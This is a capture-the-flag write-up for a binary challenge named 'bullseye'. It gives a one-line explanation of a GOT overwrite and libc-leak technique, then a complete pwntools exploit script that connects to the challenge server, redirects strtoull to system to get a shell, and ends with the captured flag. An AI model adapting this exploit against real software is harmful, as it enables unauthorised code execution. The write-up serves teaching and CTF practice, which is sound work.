The binary has an arbitrary write - No PIE and No relro - patch `elf.got["exit"]` to `main`. `alarm` is leaked automatically. Use that to calculate `libc` base and `system`. Overwrite `elf.got["strtoull"]` with `system`.

```
from pwn import *

PATH = "/tmp/bullseye"
LIBC = ELF("/home/sudhakar/tools/libc-database/db/libc6_2.30-0ubuntu2.2_amd64.so")
s = remote("jh2i.com", 50031)
# s = process(PATH)
# gdb.attach(s)
context.binary = PATH
elf = context.binary
ex = elf.got["exit"]
sl = elf.got["strtoull"]
mn = elf.symbols["main"]
ret = 0x40101a
offset_system = 0x554e0
context.log_level = "debug"
s.recvline()
s.recvline()
s.recvline()
s.sendline(hex(ex))
s.recvline()
s.sendline(hex(mn))

leak = int(s.recvline(), 16)
success(hex(leak))
libc_base = leak - LIBC.symbols["alarm"]
success(hex(libc_base))

s.recvline()
s.recvline()
s.recvline()
s.sendline(hex(sl))
s.recvline()
s.sendline(hex(libc_base+offset_system))
s.interactive()

# flag{one_write_two_write_good_write_bad_write}
```